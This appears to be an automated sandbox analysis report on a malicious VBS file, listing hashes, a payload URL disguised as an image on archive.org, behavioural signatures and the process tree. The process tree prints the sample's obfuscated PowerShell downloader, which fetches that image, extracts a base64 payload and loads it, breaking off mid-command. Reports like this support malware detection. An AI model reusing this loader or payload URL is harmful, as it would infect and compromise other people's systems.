Analysis
-
max time kernel
122s -
max time network
122s -
platform
windows7_x64 -
resource
win7-20240704-en -
resource tags
arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system -
submitted
28-08-2024 08:31
Static task
static1
Behavioral task
behavioral1
Sample
sweetnessofcookiesmilkeatingbymewith.vbs
Resource
win7-20240704-en
General
-
Target
sweetnessofcookiesmilkeatingbymewith.vbs
-
Size
179KB
-
MD5
caf64b2016e2f4caf70d865690f7e5e0
-
SHA1
1ff3d5ebda9b1105e684101f201d6ccde03568f8
-
SHA256
5132ba606b767573c897b02e29221c615bcf10c430dc99dd313fa9e12a08b114
-
SHA512
7a5481edd308256d30a6bd8346f9288f7a1290946c12caed7a64479820ece31f444169946543c67ce051ec085e6e31d18cd6af0a2cef8f99f36d57250b311258
-
SSDEEP
3072:fBn3/sPeR6bdgt5prGweSqD2y8LscCV61wAZe:fBP+bTgscCM1wAZe
Malware Config
Extracted
https://ia803104.us.archive.org/27/items/vbs_20240726_20240726/vbs.jpg
https://ia803104.us.archive.org/27/items/vbs_20240726_20240726/vbs.jpg
Signatures
-
Blocklisted process makes network request 2 IoCs
flow pid Process 5 2068 powershell.exe 6 2068 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
pid Process 3012 powershell.exe 2068 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 3012 powershell.exe 2068 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 3012 powershell.exe Token: SeDebugPrivilege 2068 powershell.exe -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 2088 wrote to memory of 3012 2088 WScript.exe 30 PID 2088 wrote to memory of 3012 2088 WScript.exe 30 PID 2088 wrote to memory of 3012 2088 WScript.exe 30 PID 3012 wrote to memory of 2068 3012 powershell.exe 32 PID 3012 wrote to memory of 2068 3012 powershell.exe 32 PID 3012 wrote to memory of 2068 3012 powershell.exe 32
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\sweetnessofcookiesmilkeatingbymewith.vbs"1⤵
- Suspicious use of WriteProcessMemory
PID:2088 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J□ ⿉ ㋃ ⼏ ⫟Bp□ ⿉ ㋃ ⼏ ⫟G0□ ⿉ ㋃ ⼏ ⫟YQBn□ ⿉ ㋃ ⼏ ⫟GU□ ⿉ ㋃ ⼏ ⫟VQBy□ ⿉ ㋃ ⼏ ⫟Gw□ ⿉ ㋃ ⼏ ⫟I□ ⿉ ㋃ ⼏ ⫟□ ⿉ ㋃ ⼏ ⫟9□ ⿉ ㋃ ⼏ ⫟C□ ⿉ ㋃ ⼏ ⫟□ ⿉ ㋃ ⼏ ⫟JwBo□ ⿉ ㋃ ⼏ ⫟HQ□ ⿉ ㋃ ⼏ ⫟d□ ⿉ ㋃ ⼏ ⫟Bw□ ⿉ ㋃ ⼏ ⫟HM□ ⿉ ㋃ ⼏ ⫟Og□ ⿉ ㋃ ⼏ ⫟v□ ⿉ ㋃ ⼏ ⫟C8□ ⿉ ㋃ ⼏ ⫟aQBh□ ⿉ ㋃ ⼏ ⫟Dg□ ⿉ ㋃ ⼏ ⫟M□ ⿉ ㋃ ⼏ ⫟□ ⿉ ㋃ ⼏ ⫟z□ ⿉ ㋃ ⼏ ⫟DE□ ⿉ ㋃ ⼏ ⫟M□ ⿉ ㋃ ⼏ ⫟□ ⿉ ㋃ ⼏ ⫟0□ ⿉ ㋃ ⼏ ⫟C4□ ⿉ ㋃ ⼏ ⫟dQBz□ ⿉ ㋃ ⼏ ⫟C4□ ⿉ ㋃ ⼏ ⫟YQBy□ ⿉ ㋃ ⼏ ⫟GM□ ⿉ ㋃ ⼏ ⫟a□ ⿉ ㋃ ⼏ ⫟Bp□ ⿉ ㋃ ⼏ ⫟HY□ ⿉ ㋃ ⼏ ⫟ZQ□ ⿉ ㋃ ⼏ ⫟u□ ⿉ ㋃ ⼏ ⫟G8□ ⿉ ㋃ ⼏ ⫟cgBn□ ⿉ ㋃ ⼏ ⫟C8□ ⿉ ㋃ ⼏ ⫟Mg□ ⿉ ㋃ ⼏ ⫟3□ ⿉ ㋃ ⼏ ⫟C8□ ⿉ ㋃ ⼏ ⫟aQB0□ ⿉ ㋃ ⼏ ⫟GU□ ⿉ ㋃ ⼏ ⫟bQBz□ ⿉ ㋃ ⼏ ⫟C8□ ⿉ ㋃ ⼏ ⫟dgBi□ ⿉ ㋃ ⼏ ⫟HM□ ⿉ ㋃ ⼏ ⫟Xw□ ⿉ ㋃ ⼏ ⫟y□ ⿉ ㋃ ⼏ ⫟D□ ⿉ ㋃ ⼏ ⫟□ ⿉ ㋃ ⼏ ⫟Mg□ ⿉ ㋃ ⼏ ⫟0□ ⿉ ㋃ ⼏ ⫟D□ ⿉ ㋃ ⼏ ⫟□ ⿉ ㋃ ⼏ ⫟Nw□ ⿉ ㋃ ⼏ ⫟y□ ⿉ ㋃ ⼏ ⫟DY□ ⿉ ㋃ ⼏ ⫟Xw□ ⿉ ㋃ ⼏ ⫟y□ ⿉ ㋃ ⼏ ⫟D□ ⿉ ㋃ ⼏ ⫟□ ⿉ ㋃ ⼏ ⫟Mg□ ⿉ ㋃ ⼏ ⫟0□ ⿉ ㋃ ⼏ ⫟D□ ⿉ ㋃ ⼏ ⫟□ ⿉ ㋃ ⼏ ⫟Nw□ ⿉ ㋃ ⼏ ⫟y□ ⿉ ㋃ ⼏ ⫟DY□ ⿉ ㋃ ⼏ ⫟LwB2□ ⿉ ㋃ ⼏ ⫟GI□ ⿉ ㋃ ⼏ ⫟cw□ ⿉ ㋃ ⼏ ⫟u□ ⿉ ㋃ ⼏ ⫟Go□ ⿉ ㋃ ⼏ ⫟c□ ⿉ ㋃ ⼏ ⫟Bn□ ⿉ ㋃ ⼏ ⫟Cc□ ⿉ ㋃ ⼏ ⫟Ow□ ⿉ ㋃ ⼏ ⫟k□ ⿉ ㋃ ⼏ ⫟Hc□ ⿉ ㋃ ⼏ ⫟ZQBi□ ⿉ ㋃ ⼏ ⫟EM□ ⿉ ㋃ ⼏ ⫟b□ ⿉ ㋃ ⼏ ⫟Bp□ ⿉ ㋃ ⼏ ⫟GU□ ⿉ ㋃ ⼏ ⫟bgB0□ ⿉ ㋃ ⼏ ⫟C□ ⿉ ㋃ ⼏ ⫟□ ⿉ ㋃ ⼏ ⫟PQ□ ⿉ ㋃ ⼏ ⫟g□ ⿉ ㋃ ⼏ ⫟E4□ ⿉ ㋃ ⼏ ⫟ZQB3□ ⿉ ㋃ ⼏ ⫟C0□ ⿉ ㋃ ⼏ ⫟TwBi□ ⿉ ㋃ ⼏ ⫟Go□ ⿉ ㋃ ⼏ ⫟ZQBj□ ⿉ ㋃ ⼏ ⫟HQ□ ⿉ ㋃ ⼏ ⫟I□ ⿉ ㋃ ⼏ ⫟BT□ ⿉ ㋃ ⼏ ⫟Hk□ ⿉ ㋃ ⼏ ⫟cwB0□ ⿉ ㋃ ⼏ ⫟GU□ ⿉ ㋃ ⼏ ⫟bQ□ ⿉ ㋃ ⼏ ⫟u□ ⿉ ㋃ ⼏ ⫟E4□ ⿉ ㋃ ⼏ ⫟ZQB0□ ⿉ ㋃ ⼏ ⫟C4□ ⿉ ㋃ ⼏ ⫟VwBl□ ⿉ ㋃ ⼏ ⫟GI□ ⿉ ㋃ ⼏ ⫟QwBs□ ⿉ ㋃ ⼏ ⫟Gk□ ⿉ ㋃ ⼏ ⫟ZQBu□ ⿉ ㋃ ⼏ ⫟HQ□ ⿉ ㋃ ⼏ ⫟Ow□ ⿉ ㋃ ⼏ ⫟k□ ⿉ ㋃ ⼏ ⫟Gk□ ⿉ ㋃ ⼏ ⫟bQBh□ ⿉ ㋃ ⼏ ⫟Gc□ ⿉ ㋃ ⼏ ⫟ZQBC□ ⿉ ㋃ ⼏ ⫟Hk□ ⿉ ㋃ ⼏ ⫟d□ ⿉ ㋃ ⼏ ⫟Bl□ ⿉ ㋃ ⼏ ⫟HM□ ⿉ ㋃ ⼏ ⫟I□ ⿉ ㋃ ⼏ ⫟□ ⿉ ㋃ ⼏ ⫟9□ ⿉ ㋃ ⼏ ⫟C□ ⿉ ㋃ ⼏ ⫟□ ⿉ ㋃ ⼏ ⫟J□ ⿉ ㋃ ⼏ ⫟B3□ ⿉ ㋃ ⼏ ⫟GU□ ⿉ ㋃ ⼏ ⫟YgBD□ ⿉ ㋃ ⼏ ⫟Gw□ ⿉ ㋃ ⼏ ⫟aQBl□ ⿉ ㋃ ⼏ ⫟G4□ ⿉ ㋃ ⼏ ⫟d□ ⿉ ㋃ ⼏ ⫟□ ⿉ ㋃ ⼏ ⫟u□ ⿉ ㋃ ⼏ ⫟EQ□ ⿉ ㋃ ⼏ ⫟bwB3□ ⿉ ㋃ ⼏ ⫟G4□ ⿉ ㋃ ⼏ ⫟b□ ⿉ ㋃ ⼏ ⫟Bv□ ⿉ ㋃ ⼏ ⫟GE□ ⿉ ㋃ ⼏ ⫟Z□ ⿉ ㋃ ⼏ ⫟BE□ ⿉ ㋃ ⼏ ⫟GE□ ⿉ ㋃ ⼏ ⫟d□ ⿉ ㋃ ⼏ ⫟Bh□ ⿉ ㋃ ⼏ ⫟Cg□ ⿉ ㋃ ⼏ ⫟J□ ⿉ ㋃ ⼏ ⫟Bp□ ⿉ ㋃ ⼏ ⫟G0□ ⿉ ㋃ ⼏ ⫟YQBn□ ⿉ ㋃ ⼏ ⫟GU□ ⿉ ㋃ ⼏ ⫟VQBy□ ⿉ ㋃ ⼏ ⫟Gw□ ⿉ ㋃ ⼏ ⫟KQ□ ⿉ ㋃ ⼏ ⫟7□ ⿉ ㋃ ⼏ ⫟CQ□ ⿉ ㋃ ⼏ ⫟aQBt□ ⿉ ㋃ ⼏ ⫟GE□ ⿉ ㋃ ⼏ ⫟ZwBl□ ⿉ ㋃ ⼏ ⫟FQ□ ⿉ ㋃ ⼏ ⫟ZQB4□ ⿉ ㋃ ⼏ ⫟HQ□ ⿉ ㋃ ⼏ ⫟I□ ⿉ ㋃ ⼏ ⫟□ ⿉ ㋃ ⼏ ⫟9□ ⿉ ㋃ ⼏ ⫟C□ ⿉ ㋃ ⼏ ⫟□ ⿉ ㋃ ⼏ ⫟WwBT□ ⿉ ㋃ ⼏ ⫟Hk□ ⿉ ㋃ ⼏ ⫟cwB0□ ⿉ ㋃ ⼏ ⫟GU□ ⿉ ㋃ ⼏ ⫟bQ□ ⿉ ㋃ ⼏ ⫟u□ ⿉ ㋃ ⼏ ⫟FQ□ ⿉ ㋃ ⼏ ⫟ZQB4□ ⿉ ㋃ ⼏ ⫟HQ□ ⿉ ㋃ ⼏ ⫟LgBF□ ⿉ ㋃ ⼏ ⫟G4□ ⿉ ㋃ ⼏ ⫟YwBv□ ⿉ ㋃ ⼏ ⫟GQ□ ⿉ ㋃ ⼏ ⫟aQBu□ ⿉ ㋃ ⼏ ⫟Gc□ ⿉ ㋃ ⼏ ⫟XQ□ ⿉ ㋃ ⼏ ⫟6□ ⿉ ㋃ ⼏ ⫟Do□ ⿉ ㋃ ⼏ ⫟VQBU□ ⿉ ㋃ ⼏ ⫟EY□ ⿉ ㋃ ⼏ ⫟O□ ⿉ ㋃ ⼏ ⫟□ ⿉ ㋃ ⼏ ⫟u□ ⿉ ㋃ ⼏ ⫟Ec□ ⿉ ㋃ ⼏ ⫟ZQB0□ ⿉ ㋃ ⼏ ⫟FM□ ⿉ ㋃ ⼏ ⫟d□ ⿉ ㋃ ⼏ ⫟By□ ⿉ ㋃ ⼏ ⫟Gk□ ⿉ ㋃ ⼏ ⫟bgBn□ ⿉ ㋃ ⼏ ⫟Cg□ ⿉ ㋃ ⼏ ⫟J□ ⿉ ㋃ ⼏ ⫟Bp□ ⿉ ㋃ ⼏ ⫟G0□ ⿉ ㋃ ⼏ ⫟YQBn□ ⿉ ㋃ ⼏ ⫟GU□ ⿉ ㋃ ⼏ ⫟QgB5□ ⿉ ㋃ ⼏ ⫟HQ□ ⿉ ㋃ ⼏ ⫟ZQBz□ ⿉ ㋃ ⼏ ⫟Ck□ ⿉ ㋃ ⼏ ⫟Ow□ ⿉ ㋃ ⼏ ⫟k□ ⿉ ㋃ ⼏ ⫟HM□ ⿉ ㋃ ⼏ ⫟d□ ⿉ ㋃ ⼏ ⫟Bh□ ⿉ ㋃ ⼏ ⫟HI□ ⿉ ㋃ ⼏ ⫟d□ ⿉ ㋃ ⼏ ⫟BG□ ⿉ ㋃ ⼏ ⫟Gw□ ⿉ ㋃ ⼏ ⫟YQBn□ ⿉ ㋃ ⼏ ⫟C□ ⿉ ㋃ ⼏ ⫟□ ⿉ ㋃ ⼏ ⫟PQ□ ⿉ ㋃ ⼏ ⫟g□ ⿉ ㋃ ⼏ ⫟Cc□ ⿉ ㋃ ⼏ ⫟P□ ⿉ ㋃ ⼏ ⫟□ ⿉ ㋃ ⼏ ⫟8□ ⿉ ㋃ ⼏ ⫟EI□ ⿉ ㋃ ⼏ ⫟QQBT□ ⿉ ㋃ ⼏ ⫟EU□ ⿉ ㋃ ⼏ ⫟Ng□ ⿉ ㋃ ⼏ ⫟0□ ⿉ ㋃ ⼏ ⫟F8□ ⿉ ㋃ ⼏ ⫟UwBU□ ⿉ ㋃ ⼏ ⫟EE□ ⿉ ㋃ ⼏ ⫟UgBU□ ⿉ ㋃ ⼏ ⫟D4□ ⿉ ㋃ ⼏ ⫟Pg□ ⿉ ㋃ ⼏ ⫟n□ ⿉ ㋃ ⼏ ⫟Ds□ ⿉ ㋃ ⼏ ⫟J□ ⿉ ㋃ ⼏ ⫟Bl□ ⿉ ㋃ ⼏ ⫟G4□ ⿉ ㋃ ⼏ ⫟Z□ ⿉ ㋃ ⼏ ⫟BG□ ⿉ ㋃ ⼏ ⫟Gw□ ⿉ ㋃ ⼏ ⫟YQBn□ ⿉ ㋃ ⼏ ⫟C□ ⿉ ㋃ ⼏ ⫟□ ⿉ ㋃ ⼏ ⫟PQ□ ⿉ ㋃ ⼏ ⫟g□ ⿉ ㋃ ⼏ ⫟Cc□ ⿉ ㋃ ⼏ ⫟P□ ⿉ ㋃ ⼏ ⫟□ ⿉ ㋃ ⼏ ⫟8□ ⿉ ㋃ ⼏ ⫟EI□ ⿉ ㋃ ⼏ ⫟QQBT□ ⿉ ㋃ ⼏ ⫟EU□ ⿉ ㋃ ⼏ ⫟Ng□ ⿉ ㋃ ⼏ ⫟0□ ⿉ ㋃ ⼏ ⫟F8□ ⿉ ㋃ ⼏ ⫟RQBO□ ⿉ ㋃ ⼏ ⫟EQ□ ⿉ ㋃ ⼏ ⫟Pg□ ⿉ ㋃ ⼏ ⫟+□ ⿉ ㋃ ⼏ ⫟Cc□ ⿉ ㋃ ⼏ ⫟Ow□ ⿉ ㋃ ⼏ ⫟k□ ⿉ ㋃ ⼏ ⫟HM□ ⿉ ㋃ ⼏ ⫟d□ ⿉ ㋃ ⼏ ⫟Bh□ ⿉ ㋃ ⼏ ⫟HI□ ⿉ ㋃ ⼏ ⫟d□ ⿉ ㋃ ⼏ ⫟BJ□ ⿉ ㋃ ⼏ ⫟G4□ ⿉ ㋃ ⼏ ⫟Z□ ⿉ ㋃ ⼏ ⫟Bl□ ⿉ ㋃ ⼏ ⫟Hg□ ⿉ ㋃ ⼏ ⫟I□ ⿉ ㋃ ⼏ ⫟□ ⿉ ㋃ ⼏ ⫟9□ ⿉ ㋃ ⼏ ⫟C□ ⿉ ㋃ ⼏ ⫟□ ⿉ ㋃ ⼏ ⫟J□ ⿉ ㋃ ⼏ ⫟Bp□ ⿉ ㋃ ⼏ ⫟G0□ ⿉ ㋃ ⼏ ⫟YQBn□ ⿉ ㋃ ⼏ ⫟GU□ ⿉ ㋃ ⼏ ⫟V□ ⿉ ㋃ ⼏ ⫟Bl□ ⿉ ㋃ ⼏ ⫟Hg□ ⿉ ㋃ ⼏ ⫟d□ ⿉ ㋃ ⼏ ⫟□ ⿉ ㋃ ⼏ ⫟u□ ⿉ ㋃ ⼏ ⫟Ek□ ⿉ ㋃ ⼏ ⫟bgBk□ ⿉ ㋃ ⼏ ⫟GU□ ⿉ ㋃ ⼏ ⫟e□ ⿉ ㋃ ⼏ ⫟BP□ ⿉ ㋃ ⼏ ⫟GY□ ⿉ ㋃ ⼏ ⫟K□ ⿉ ㋃ ⼏ ⫟□ ⿉ ㋃ ⼏ ⫟k□ ⿉ ㋃ ⼏ ⫟HM□ ⿉ ㋃ ⼏ ⫟d□ ⿉ ㋃ ⼏ ⫟Bh□ ⿉ ㋃ ⼏ ⫟HI□ ⿉ ㋃ ⼏ ⫟d□ ⿉ ㋃ ⼏ ⫟BG□ ⿉ ㋃ ⼏ ⫟Gw□ ⿉ ㋃ ⼏ ⫟YQBn□ ⿉ ㋃ ⼏ ⫟Ck□ ⿉ ㋃ ⼏ ⫟Ow□ ⿉ ㋃ ⼏ ⫟k□ ⿉ ㋃ ⼏ ⫟GU□ ⿉ ㋃ ⼏ ⫟bgBk□ ⿉ ㋃ ⼏ ⫟Ek□ ⿉ ㋃ ⼏ ⫟bgBk□ ⿉ ㋃ ⼏ ⫟GU□ ⿉ ㋃ ⼏ ⫟e□ ⿉ ㋃ ⼏ ⫟□ ⿉ ㋃ ⼏ ⫟g□ ⿉ ㋃ ⼏ ⫟D0□ ⿉ ㋃ ⼏ ⫟I□ ⿉ ㋃ ⼏ ⫟□ ⿉ ㋃ ⼏ ⫟k□ ⿉ ㋃ ⼏ ⫟Gk□ ⿉ ㋃ ⼏ ⫟bQBh□ ⿉ ㋃ ⼏ ⫟Gc□ ⿉ ㋃ ⼏ ⫟ZQBU□ ⿉ ㋃ ⼏ ⫟GU□ ⿉ ㋃ ⼏ ⫟e□ ⿉ ㋃ ⼏ ⫟B0□ ⿉ ㋃ ⼏ ⫟C4□ ⿉ ㋃ ⼏ ⫟SQBu□ ⿉ ㋃ ⼏ ⫟GQ□ ⿉ ㋃ ⼏ ⫟ZQB4□ ⿉ ㋃ ⼏ ⫟E8□ ⿉ ㋃ ⼏ ⫟Zg□ ⿉ ㋃ ⼏ ⫟o□ ⿉ ㋃ ⼏ ⫟CQ□ ⿉ ㋃ ⼏ ⫟ZQBu□ ⿉ ㋃ ⼏ ⫟GQ□ ⿉ ㋃ ⼏ ⫟RgBs□ ⿉ ㋃ ⼏ ⫟GE□ ⿉ ㋃ ⼏ ⫟Zw□ ⿉ ㋃ ⼏ ⫟p□ ⿉ ㋃ ⼏ ⫟Ds□ ⿉ ㋃ ⼏ ⫟J□ ⿉ ㋃ ⼏ ⫟Bz□ ⿉ ㋃ ⼏ ⫟HQ□ ⿉ ㋃ ⼏ ⫟YQBy□ ⿉ ㋃ ⼏ ⫟HQ□ ⿉ ㋃ ⼏ ⫟SQBu□ ⿉ ㋃ ⼏ ⫟GQ□ ⿉ ㋃ ⼏ ⫟ZQB4□ ⿉ ㋃ ⼏ ⫟C□ ⿉ ㋃ ⼏ ⫟□ ⿉ ㋃ ⼏ ⫟LQBn□ ⿉ ㋃ ⼏ ⫟GU□ ⿉ ㋃ ⼏ ⫟I□ ⿉ ㋃ ⼏ ⫟□ ⿉ ㋃ ⼏ ⫟w□ ⿉ ㋃ ⼏ ⫟C□ ⿉ ㋃ ⼏ ⫟□ ⿉ ㋃ ⼏ ⫟LQBh□ ⿉ ㋃ ⼏ ⫟G4□ ⿉ ㋃ ⼏ ⫟Z□ ⿉ ㋃ ⼏ ⫟□ ⿉ ㋃ ⼏ ⫟g□ ⿉ ㋃ ⼏ ⫟CQ□ ⿉ ㋃ ⼏ ⫟ZQBu□ ⿉ ㋃ ⼏ ⫟GQ□ ⿉ ㋃ ⼏ ⫟SQBu□ ⿉ ㋃ ⼏ ⫟GQ□ ⿉ ㋃ ⼏ ⫟ZQB4□ ⿉ ㋃ ⼏ ⫟C□ ⿉ ㋃ ⼏ ⫟□ ⿉ ㋃ ⼏ ⫟LQBn□ ⿉ ㋃ ⼏ ⫟HQ□ ⿉ ㋃ ⼏ ⫟I□ ⿉ ㋃ ⼏ ⫟□ ⿉ ㋃ ⼏ ⫟k□ ⿉ ㋃ ⼏ ⫟HM□ ⿉ ㋃ ⼏ ⫟d□ ⿉ ㋃ ⼏ ⫟Bh□ ⿉ ㋃ ⼏ ⫟HI□ ⿉ ㋃ ⼏ ⫟d□ ⿉ ㋃ ⼏ ⫟BJ□ ⿉ ㋃ ⼏ ⫟G4□ ⿉ ㋃ ⼏ ⫟Z□ ⿉ ㋃ ⼏ ⫟Bl□ ⿉ ㋃ ⼏ ⫟Hg□ ⿉ ㋃ ⼏ ⫟Ow□ ⿉ ㋃ ⼏ ⫟k□ ⿉ ㋃ ⼏ ⫟HM□ ⿉ ㋃ ⼏ ⫟d□ ⿉ ㋃ ⼏ ⫟Bh□ ⿉ ㋃ ⼏ ⫟HI□ ⿉ ㋃ ⼏ ⫟d□ ⿉ ㋃ ⼏ ⫟BJ□ ⿉ ㋃ ⼏ ⫟G4□ ⿉ ㋃ ⼏ ⫟Z□ ⿉ ㋃ ⼏ ⫟Bl□ ⿉ ㋃ ⼏ ⫟Hg□ ⿉ ㋃ ⼏ ⫟I□ ⿉ ㋃ ⼏ ⫟□ ⿉ ㋃ ⼏ ⫟r□ ⿉ ㋃ ⼏ ⫟D0□ ⿉ ㋃ ⼏ ⫟I□ ⿉ ㋃ ⼏ ⫟□ ⿉ ㋃ ⼏ ⫟k□ ⿉ ㋃ ⼏ ⫟HM□ ⿉ ㋃ ⼏ ⫟d□ ⿉ ㋃ ⼏ ⫟Bh□ ⿉ ㋃ ⼏ ⫟HI□ ⿉ ㋃ ⼏ ⫟d□ ⿉ ㋃ ⼏ ⫟BG□ ⿉ ㋃ ⼏ ⫟Gw□ ⿉ ㋃ ⼏ ⫟YQBn□ ⿉ ㋃ ⼏ ⫟C4□ ⿉ ㋃ ⼏ ⫟T□ ⿉ ㋃ ⼏ ⫟Bl□ ⿉ ㋃ ⼏ ⫟G4□ ⿉ ㋃ ⼏ ⫟ZwB0□ ⿉ ㋃ ⼏ ⫟Gg□ ⿉ ㋃ ⼏ ⫟Ow□ ⿉ ㋃ ⼏ ⫟k□ ⿉ ㋃ ⼏ ⫟GI□ ⿉ ㋃ ⼏ ⫟YQBz□ ⿉ ㋃ ⼏ ⫟GU□ ⿉ ㋃ ⼏ ⫟Ng□ ⿉ ㋃ ⼏ ⫟0□ ⿉ ㋃ ⼏ ⫟Ew□ ⿉ ㋃ ⼏ ⫟ZQBu□ ⿉ ㋃ ⼏ ⫟Gc□ ⿉ ㋃ ⼏ ⫟d□ ⿉ ㋃ ⼏ ⫟Bo□ ⿉ ㋃ ⼏ ⫟C□ ⿉ ㋃ ⼏ ⫟□ ⿉ ㋃ ⼏ ⫟PQ□ ⿉ ㋃ ⼏ ⫟g□ ⿉ ㋃ ⼏ ⫟CQ□ ⿉ ㋃ ⼏ ⫟ZQBu□ ⿉ ㋃ ⼏ ⫟GQ□ ⿉ ㋃ ⼏ ⫟SQBu□ ⿉ ㋃ ⼏ ⫟GQ□ ⿉ ㋃ ⼏ ⫟ZQB4□ ⿉ ㋃ ⼏ ⫟C□ ⿉ ㋃ ⼏ ⫟□ ⿉ ㋃ ⼏ ⫟LQ□ ⿉ ㋃ ⼏ ⫟g□ ⿉ ㋃ ⼏ ⫟CQ□ ⿉ ㋃ ⼏ ⫟cwB0□ ⿉ ㋃ ⼏ ⫟GE□ ⿉ ㋃ ⼏ ⫟cgB0□ ⿉ ㋃ ⼏ ⫟Ek□ ⿉ ㋃ ⼏ ⫟bgBk□ ⿉ ㋃ ⼏ ⫟GU□ ⿉ ㋃ ⼏ ⫟e□ ⿉ ㋃ ⼏ ⫟□ ⿉ ㋃ ⼏ ⫟7□ ⿉ ㋃ ⼏ ⫟CQ□ ⿉ ㋃ ⼏ ⫟YgBh□ ⿉ ㋃ ⼏ ⫟HM□ ⿉ ㋃ ⼏ ⫟ZQ□ ⿉ ㋃ ⼏ ⫟2□ ⿉ ㋃ ⼏ ⫟DQ□ ⿉ ㋃ ⼏ ⫟QwBv□ ⿉ ㋃ ⼏ ⫟G0□ ⿉ ㋃ ⼏ ⫟bQBh□ ⿉ ㋃ ⼏ ⫟G4□ ⿉ ㋃ ⼏ ⫟Z□ ⿉ ㋃ ⼏ ⫟□ ⿉ ㋃ ⼏ ⫟g□ ⿉ ㋃ ⼏ ⫟D0□ ⿉ ㋃ ⼏ ⫟I□ ⿉ ㋃ ⼏ ⫟□ ⿉ ㋃ ⼏ ⫟k□ ⿉ ㋃ ⼏ ⫟Gk□ ⿉ ㋃ ⼏ ⫟bQBh□ ⿉ ㋃ ⼏ ⫟Gc□ ⿉ ㋃ ⼏ ⫟ZQBU□ ⿉ ㋃ ⼏ ⫟GU□ ⿉ ㋃ ⼏ ⫟e□ ⿉ ㋃ ⼏ ⫟B0□ ⿉ ㋃ ⼏ ⫟C4□ ⿉ ㋃ ⼏ ⫟UwB1□ ⿉ ㋃ ⼏ ⫟GI□ ⿉ ㋃ ⼏ ⫟cwB0□ ⿉ ㋃ ⼏ ⫟HI□ ⿉ ㋃ ⼏ ⫟aQBu□ ⿉ ㋃ ⼏ ⫟Gc□ ⿉ ㋃ ⼏ ⫟K□ ⿉ ㋃ ⼏ ⫟□ ⿉ ㋃ ⼏ ⫟k□ ⿉ ㋃ ⼏ ⫟HM□ ⿉ ㋃ ⼏ ⫟d□ ⿉ ㋃ ⼏ ⫟Bh□ ⿉ ㋃ ⼏ ⫟HI□ ⿉ ㋃ ⼏ ⫟d□ ⿉ ㋃ ⼏ ⫟BJ□ ⿉ ㋃ ⼏ ⫟G4□ ⿉ ㋃ ⼏ ⫟Z□ ⿉ ㋃ ⼏ ⫟Bl□ ⿉ ㋃ ⼏ ⫟Hg□ ⿉ ㋃ ⼏ ⫟L□ ⿉ ㋃ ⼏ ⫟□ ⿉ ㋃ ⼏ ⫟g□ ⿉ ㋃ ⼏ ⫟CQ□ ⿉ ㋃ ⼏ ⫟YgBh□ ⿉ ㋃ ⼏ ⫟HM□ ⿉ ㋃ ⼏ ⫟ZQ□ ⿉ ㋃ ⼏ ⫟2□ ⿉ ㋃ ⼏ ⫟DQ□ ⿉ ㋃ ⼏ ⫟T□ ⿉ ㋃ ⼏ ⫟Bl□ ⿉ ㋃ ⼏ ⫟G4□ ⿉ ㋃ ⼏ ⫟ZwB0□ ⿉ ㋃ ⼏ ⫟Gg□ ⿉ ㋃ ⼏ ⫟KQ□ ⿉ ㋃ ⼏ ⫟7□ ⿉ ㋃ ⼏ ⫟CQ□ ⿉ ㋃ ⼏ ⫟YwBv□ ⿉ ㋃ ⼏ ⫟G0□ ⿉ ㋃ ⼏ ⫟bQBh□ ⿉ ㋃ ⼏ ⫟G4□ ⿉ ㋃ ⼏ ⫟Z□ ⿉ ㋃ ⼏ ⫟BC□ ⿉ ㋃ ⼏ ⫟Hk□ ⿉ ㋃ ⼏ ⫟d□ ⿉ ㋃ ⼏ ⫟Bl□ ⿉ ㋃ ⼏ ⫟HM□ ⿉ ㋃ ⼏ ⫟I□ ⿉ ㋃ ⼏ ⫟□ ⿉ ㋃ ⼏ ⫟9□ ⿉ ㋃ ⼏ ⫟C□ ⿉ ㋃ ⼏ ⫟□ ⿉ ㋃ ⼏ ⫟WwBT□ ⿉ ㋃ ⼏ ⫟Hk□ ⿉ ㋃ ⼏ ⫟cwB0□ ⿉ ㋃ ⼏ ⫟GU□ ⿉ ㋃ ⼏ ⫟bQ□ ⿉ ㋃ ⼏ ⫟u□ ⿉ ㋃ ⼏ ⫟EM□ ⿉ ㋃ ⼏ ⫟bwBu□ ⿉ ㋃ ⼏ ⫟HY□ ⿉ ㋃ ⼏ ⫟ZQBy□ ⿉ ㋃ ⼏ ⫟HQ□ ⿉ ㋃ ⼏ ⫟XQ□ ⿉ ㋃ ⼏ ⫟6□ ⿉ ㋃ ⼏ ⫟Do□ ⿉ ㋃ ⼏ ⫟RgBy□ ⿉ ㋃ ⼏ ⫟G8□ ⿉ ㋃ ⼏ ⫟bQBC□ ⿉ ㋃ ⼏ ⫟GE□ ⿉ ㋃ ⼏ ⫟cwBl□ ⿉ ㋃ ⼏ ⫟DY□ ⿉ ㋃ ⼏ ⫟N□ ⿉ ㋃ ⼏ ⫟BT□ ⿉ ㋃ ⼏ ⫟HQ□ ⿉ ㋃ ⼏ ⫟cgBp□ ⿉ ㋃ ⼏ ⫟G4□ ⿉ ㋃ ⼏ ⫟Zw□ ⿉ ㋃ ⼏ ⫟o□ ⿉ ㋃ ⼏ ⫟CQ□ ⿉ ㋃ ⼏ ⫟YgBh□ ⿉ ㋃ ⼏ ⫟HM□ ⿉ ㋃ ⼏ ⫟ZQ□ ⿉ ㋃ ⼏ ⫟2□ ⿉ ㋃ ⼏ ⫟DQ□ ⿉ ㋃ ⼏ ⫟QwBv□ ⿉ ㋃ ⼏ ⫟G0□ ⿉ ㋃ ⼏ ⫟bQBh□ ⿉ ㋃ ⼏ ⫟G4□ ⿉ ㋃ ⼏ ⫟Z□ ⿉ ㋃ ⼏ ⫟□ ⿉ ㋃ ⼏ ⫟p□ ⿉ ㋃ ⼏ ⫟Ds□ ⿉ ㋃ ⼏ ⫟J□ ⿉ ㋃ ⼏ ⫟Bs□ ⿉ ㋃ ⼏ ⫟G8□ ⿉ ㋃ ⼏ ⫟YQBk□ ⿉ ㋃ ⼏ ⫟GU□ ⿉ ㋃ ⼏ ⫟Z□ ⿉ 